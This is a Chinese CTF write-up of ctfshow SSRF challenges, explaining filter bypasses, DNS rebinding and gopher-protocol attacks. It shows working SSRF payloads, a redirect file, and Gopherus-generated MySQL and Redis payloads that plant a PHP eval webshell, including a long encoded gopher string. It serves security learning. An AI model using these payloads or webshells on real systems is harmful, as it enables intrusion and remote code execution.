SSRF及相关例题
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF漏洞原理
(1)攻击者可以通过公网访问到一个web服务器
(2)但是攻击者无法通过公网访问到某个组织的内网
(3)果进行内网探测,且目标的内网web服务器存在ssrf漏洞,我们可以利用一个可以访问到内网服务器的服务器,此时我们可以以这个服务器为跳板去攻击其它服务器或区域
SSRF漏洞原理
(1)对内网进行端口扫描,web指纹获取等;
(2)攻击内网或本地的应用程序,例如sql注入、struts2、redis等;
(3)利用file协议进行本地文件读取;
struts2是一个Java web应用框架
redis是一种利用内存实现高效读写的内存数据结构存储系统,它可以用作数据库、缓存和消息代理
ctfshow相关例题实战
web-351
因为这个题是ssrf类型的要在公网上访问内网
再看这个题的代码发现他需要一个url参数既然要访问内网得flag我直接
payload:url=127.0.0.1/flag.php
然后就成了(离谱)
如图:
web-352
<?php
error_reporting(0); //表示禁用了报错功能
highlight_file(__FILE__);
$url = $_POST['url']; //请求一个post参数
$x = parse_url($url); //利用这个函数把url拆成各个部分并将其储存在数组x中(比如协议部分、主机ip、端口号、路径)
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') //表示url中的协议只能是http和https
{
if (!preg_match('/localhost|127.0.0/')) //表示url参数不能以localhost或者是127.0.0.1开头
{
$ch = curl_init($url); //初始化一个curl会话并指定要访问的url
curl_setopt($ch, CURLOPT_HEADER, 0); //0表示curl选项禁止包含响应头信息
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置curl选项,表示把响应信息作为字符串返回
$result = curl_exec($ch); //执行curl,并将返回结果储存在变量result中
curl_close($ch); //关闭curl会话
echo ($result); //将变量输出
} else {
die('hacker');
}
} else {
die('hacker');
}
?>
/* curl可以访执行http请求(包括https)和上传还有下载文件 curl工具是命令行工具和库它一般用于脚本调试还有直接使用命令行进行网络操作
如果仅仅只是访问页面那么浏览器已经足够了*/
这一关和上一关的的区别在于上一关没有限制协议类型这一关只能是http或者是https,还有一个限制条件if (!preg_match('/localhost|127.0.0/'))
但是他这个代码是错的因为它没有指定正则匹配的对象所以说这个限制条件作废
直接paylod:http://127.0.0.1/flag.php
web-353
在这一关主要是preg_match('/localhost|127\.0\.|\。/i', $url)
和$x['scheme']==='http'||$x['scheme']==='https'
两个条件限制满足或绕过他们即可
第一个要求参数中不能有localhost和127.0.还有。我们可以尝试使用其他进制绕过比如IP常用的八进制和十六进制
还有一个条件是要使用http或者https协议
直接payload:
$url=http://0x7F000001/flag.php
或者:
$url=http://0177.0.0.1/flag.php
如图:
常见的IP地址表示法:
- 点分十进制(例如:127.0.0.1)
- 八进制表示(例如:0177.0.0.1,相当于127.0.0.1)
- 十六进制表示(例如:0x7F000001,也相当于127.0.0.1)
web-354
在这一关涉及到一个新的知识
同源策略(SOP)
同源策略是指协议+域名+端口
三者相同,这个策略是浏览器的最基本的安全功能
对于一些网站会限制只有同源的情况下才可以互相访问
比如:
https://www.example.com/page1.html
https://www.example.com/page2.html
端口如果没写的话默认是443
这种同源策略可以防止xss和csrf
下面要说到的DNS重绑定就是利用了同源策略(SOP)的漏洞,如果我们只改变域名所绑定的ip但是域名本身不发生改变比如:www.example.com
这个域名原来dns解析对应的ip为192.168.12.1虽然攻击者又把这个域名绑定的ip变为112.123.11.3
但是www.example.com
这个域名本身不变所以仍然满足同源策略这样便实现了SOP的绕过
DNS重绑定
攻击过程:攻击者拥有一个自己的域名可以随便改变这个域名所绑定的ip
流程:
第一次DNS解析:
- 用户访问恶意网站(如
malicious.com
)。 - DNS解析返回攻击者控制的服务器IP(例如
203.0.113.5
)。 - 浏览器连接到
203.0.113.5
并加载恶意JavaScript代码。
恶意代码执行:
- 恶意代码在用户浏览器中运行,通常会包含一个定时器或某种触发机制,等待第一次DNS解析结果的TTL过期。
第二次DNS解析:
- 恶意代码触发对
malicious.com
的第二次DNS解析。 - 此次解析返回内网IP地址(例如
192.168.1.10
)。 - 浏览器认为
malicious.com
仍然是同一个域,因此允许访问内网IP。
不能直接只是通过一个来回实现dns重绑定的原因
1.内网不能直接通过外部网络访问(它不是通过外部网络直接访问该内网IP,而是通过浏览器内的网络堆栈进行的。浏览器内的请求被视为本地网络请求。
浏览器在用户的网络环境中运行,能够直接访问用户网络内的所有资源。这意味着,尽管攻击者的初始服务器是外部的,但浏览器的后续请求是在受害者的本地网络中发起的。)
2.只有第一次解析到攻击控制的服务器ip才能执行页面上对应的javascript代码才能实现我们获取内网信息的目的
这种操作会存在至少两个危险:1.受害者点击的页面可能存在恶意代码2.如果DNS重绑定的ip是127.0.0.1可能会导致攻击者直接进入内网
防止DNS重绑定攻击
-
**用户的角度:**更改路由器的配置,过滤DNS响应中的私有IP范围等可疑IP地址。
-
**开发人员的角度:**内部的网络设备应该验证其自己的服务器是否与所请求的主机匹配。如HTTP服务器添加“主机”标头验证。只有host标头中的主机名是服务器可以提供服务的才行。(host标头通常是进行请求时的域名,如果这个这个域名没有通过服务器的验证,那么服务器就不会为这个ip提供服务)
另一种有效方法是使用HTTPS而不是HTTP,发生重新绑定时,目标服务将具有对www.hacker.com无效的SSL证书,因此安全警告将阻止你的请求。 (即使你把www.hacker.com这个域名绑定到127.0.0.1上无论本地有没有配置有效的SSL证书,这个访问操作都会受到浏览器的阻止 因为自签名证书是不受信任的)
这还涉及到DNS劫持因为只有这样才能在用户进行解析域名的时候是引导到攻击者控制的dns解释器中把域名解析成任意IP
查看本地DNS缓存及相关操作
ipconfig /displaydns
用于查看本地的dns缓存
如图:
nslookup 域名
用于查看一个域名的ip
如图:
我们可以在事件查看器中去手动开启本地的dns具体操作自己找
也可以改本地的dns中的数据这样对于一个目标机器我们可以随便更改dns中的域名所对应的ip进而实现进一步利用
web-354
这一关的主要条件是if(!preg_match('/localhost|1|0|。/i', $url))
发现这关的过滤比较严格在字符串中不能含有localhost 1 0 和 。显然这一关显然不能使用localhost和127.0.0.1当然八进制和十进制也是不行的
对于这个题可以不用那么麻烦网上有现成的
参考https://blog.csdn.net/lovelyelfpop/article/details/107306577
直接payload:url=http://safe.taobao.com/flag.php
如图:
web-355
本关的知识:
0在linux系统中会解析成127.0.0.1,而在windows中会解析成0.0.0.0 127.1和127.0.0.1是等价的
如何查看一个网页的服务器是什么系统
可以使用https://sitereport.netcraft.com/这个网站查询也可以随便输入个路径或F12看响应头的server看有没有如图:
对于这个网站就设置了无法访问的时候显示404但是我们仍然可以看到所使用的web服务器是nginx服务器 可以猜测操作系统是linux 虽然 Nginx 也可以在 Windows 上运行,但它通常在 Linux 上被广泛使用作为 Web 服务器。
0.0.0.0表示所有可用的ip地址如果直接在URL栏中输入 0.0.0.0
并不会打开一个网页,而是可能导致浏览器尝试连接到一个无效的IP地址或者显示错误信息
如果在命令行中ncat -l 0.0.0.0
表示监听所有IPv4地址的所有网络接口
跟据源码显示这一关的限制主要是host的长度小于5 strlen($host)<=5
做题:
这关的host可以使用0或者127.1来代替
综上直接payload:url=http://0/flag.php
或者url=http://127.1/flag.php
如图:
web-356
对于这一关和上一关的主要区别在于缩短了host的长度限制strlen($host)<=3
直接payload:url=http://0/flag.php
跟上一关基本没去别至于为什么使用0可以代替127.0.0.1的思路上一关有提到
如图:
web-357
这关我们主要是认识一下新出现的过滤条件
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//把host主机名解析成ip地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
//FILTER_VALIDATE_IP验证解析出来的ip是否是有效ip
//FILTER_FLAG_NO_PRIV_RANGE验证解析出来的ip是否是私有ip
//FILTER_FLAG_NO_RES_RANGE验证解析出来的ip是否是保留ip
{
die('ip!');
}
echo file_get_contents($_POST['url']);//可以访问到对应的url中并且输出页面中的内容
}
else{
die('scheme');
}
?>
方法一、
可以通过一个自己的网站来跳转访问到127.0.0.1/flag
在自己网站的根目录下创建一个用来跳转的php文件
test.php文件内容
<?php
header("Location:http://127.0.0.1/flag.php");
?>
然后payload:url=http://ip或域名//test.php
(ip或域名天自己的)
直接传参如图:
web-358
在这一关只有一个限制条件
preg_match('/^http:\/\/ctf\..*show$/i',$url)
表示传入参数要以http://ctf.开头以show结尾
.*
:匹配任意数量的任意字符(除了换行符)
^
:匹配字符串的开头
$
:匹配字符串的结尾
直接payload:url=http://ctf.@127.0.0.1/flag.php?show
在http://和@之间的ctf.表示用户名 一般是username:passworld如果没有密码
冒号也可以省略 这是用户信息部分用于进行信息验证
后面的show只是为了满足是以show结尾这个条件?是为了让其成为参数这样不影响正常网站的访问
结果如图:
web-358
这关要使用到一个gopherus
先来了解一下什么是gopher,它比www的作用小一点主要是用来处理静态的页面交互性比www差 现在很少用到
**www(World Wide Web)**代表着万维网,是一个基于超文本的信息系统,通过互联网访问,并由许多网页组成。它是通过HTTP(超文本传输协议)来传输数据的
Gopher是一种早期的互联网信息检索协议,旨在提供简单的、层次化的文档检索系统。与WWW不同,它更加简单且层次化
示例:
gopher://gopher.floodgap.com
使用 Gopher 协议,访问的是提供 Gopher 服务的服务器
**https://www.baidu.com
**使用的是https协议,访问的是提供web服务的服务器
www对应http、https协议
gopher对应gopher协议
工具下载:https://github.com/Esonhugh/Gopherus3(最新地址可适配python3)
工具的是使用:
如果您知道某个地方存在 SSRF 漏洞,那么此工具将帮助您生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。此外,它还将帮助您在受害服务器上获取反向 shell。有关更多信息,您可以在Gopherus 上的同一个博客上找到一篇博客
该工具可以为以下对象生成payload:
- MySQL(端口 3306)
- PostgreSQL(端口-5432)
- FastCGI(端口 9000)
- Memcached(端口 11211)
- 如果存储的数据通过以下方式进行反序列化:
- Python
- 红宝石
- PHP
- 如果存储的数据通过以下方式进行反序列化:
- Redis(端口-6379)
- Zabbix(端口 10050)
- SMTP(端口 25)
这篇文章讲解的ssrf比较全面推荐看看https://www.freebuf.com/articles/web/260806.html
做题:
此题登进去是一个登录界面我先扫了一下后台如图:
没啥东西抓个登录包看看如图:
由图可知是向check.php页面提交的信息从提交的数据中可以明显的看出参数returl(return url)是一个回调url
如果页面对这个url没有进行严格的控制有可能被利用
根据提示可知这关是打无密码的mysql
直接利用Gopherus的mysql模块去构造mysql的payload(分别依次输入)
python gopherus.py --exploit mysql//指定使用mysql模块
root //输入没有密码的mysql的用户名
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';//把一句话木马写到指定的路径下
/var/www/html一般网页的主要功能文件都在这个目录下
如图:
在3306/_的后面是经过十六进制编码后的一句话木马
Gopher协议格式
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
#
注意必须相信后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
TCP流中的数据在传输过程中通常以二进制形式表示。在网络传输中,数据往往以字节为单位进行传输。这意味着在实际传输过程中,数据以二进制形式进行编码。
然而,在分析和查看TCP流时,通常将数据以十六进制的形式呈现出来,这样做更方便阅读和理解数据的内容。因此,当我们查看TCP流时,经常会看到十六进制表示的数据。
Gopher链接中的所有非标准ASCII字符,最好都进行URL编码,以确保它们能够正确传输和解析
所以我们要把3306/_的后面的数据进行一次url编码
最后直接payload:
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
然后post传入如图:
flag.txt在根目录
web-359
这关提醒我们去打redis直接和上一关进行类似操作
python gopherus.py --exploit redis
phpshell
<?php eval($_POST['cmd']);?>
![image-20240604001404889](https://img-blog.csdnimg.cn/img_convert/18a087cf4df0c9e79634a1ec8a72d
eaf.png)
根目录下找到flag
OVER!